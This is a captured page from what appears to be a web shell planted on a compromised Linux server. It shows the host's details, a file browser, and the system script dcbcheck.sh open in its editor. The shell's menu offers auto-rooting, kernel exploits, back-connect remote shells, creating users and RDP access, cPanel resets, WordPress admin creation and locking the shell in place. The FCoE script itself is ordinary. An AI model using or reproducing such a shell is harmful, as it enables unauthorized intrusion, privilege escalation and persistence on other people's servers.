Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
fcoe /
[ HOME SHELL ]
Name
Size
Permission
Action
dcbcheck.sh
1.78
KB
-rwxr-xr-x
fcc.sh
8.84
KB
-rwxr-xr-x
fcoe-setup.sh
1.59
KB
-rwxr-xr-x
fcoe_edd.sh
5.24
KB
-rwxr-xr-x
fcoedump.sh
5.14
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : dcbcheck.sh
#!/bin/bash # $1 = ethX # return 0 on success # return 1 on failure IFNAME=$1 if [ -r /proc/net/vlan/$IFNAME ] ; then PHYSDEV=$(grep '^Device:' /proc/net/vlan/$IFNAME | awk '{print $2}') else PHYSDEV=$IFNAME fi ret=0 # check for DCB netlink symbols if ! grep -q "\bdcbnl_init\b" /proc/kallsyms ; then echo "DCB Netlink symbols not found in the kernel." >&2 echo "Please re-compile the kernel with CONFIG_DCB=y." >&2 exit 1 fi # Ensure that a value was passed in for the interface name if [ "${IFNAME}" == "" ] ; then echo "Please provide the interface name to check." >&2 exit 1 fi # Ensure that the interface name provided is valid if ifconfig ${IFNAME} 2>&1 | grep -q "Device not found" ; then echo "Please provide a valid interface name." >&2 exit 1 fi # Determine if we can communicate with DCBD if dcbtool gc ${PHYSDEV} dcb | grep Status | grep -q Failed ; then echo "Unable to communicate with the DCB daemon (dcbd) or DCB capable driver." >&2 exit 1 fi # Determine if DCB is on if dcbtool gc ${PHYSDEV} dcb | grep 'DCB State' | grep -q off ; then echo "DCB is not on, execute the following command to turn it on" >&2 echo "dcbtool sc ${PHYSDEV} dcb on" >&2 ret=1 fi # Determine if PFC is enabled if dcbtool gc ${PHYSDEV} pfc | grep Enable | grep -q false ; then echo "PFC is not enabled, execute the following command to turn it on" >&2 echo "dcbtool sc ${PHYSDEV} pfc e:1" >&2 ret=1 fi # Determine if the FCoE APP TLV is enabled if dcbtool gc ${PHYSDEV} app:fcoe | grep Enable | grep -q false ; then echo "The FCoE APP TLV is not enabled, execute the following command to turn it on" >&2 echo "dcbtool sc ${PHYSDEV} app:fcoe e:1" >&2 ret=1 fi if [ ${ret} -eq 0 ] ; then echo "DCB is correctly configured for FCoE" fi exit ${ret}
Close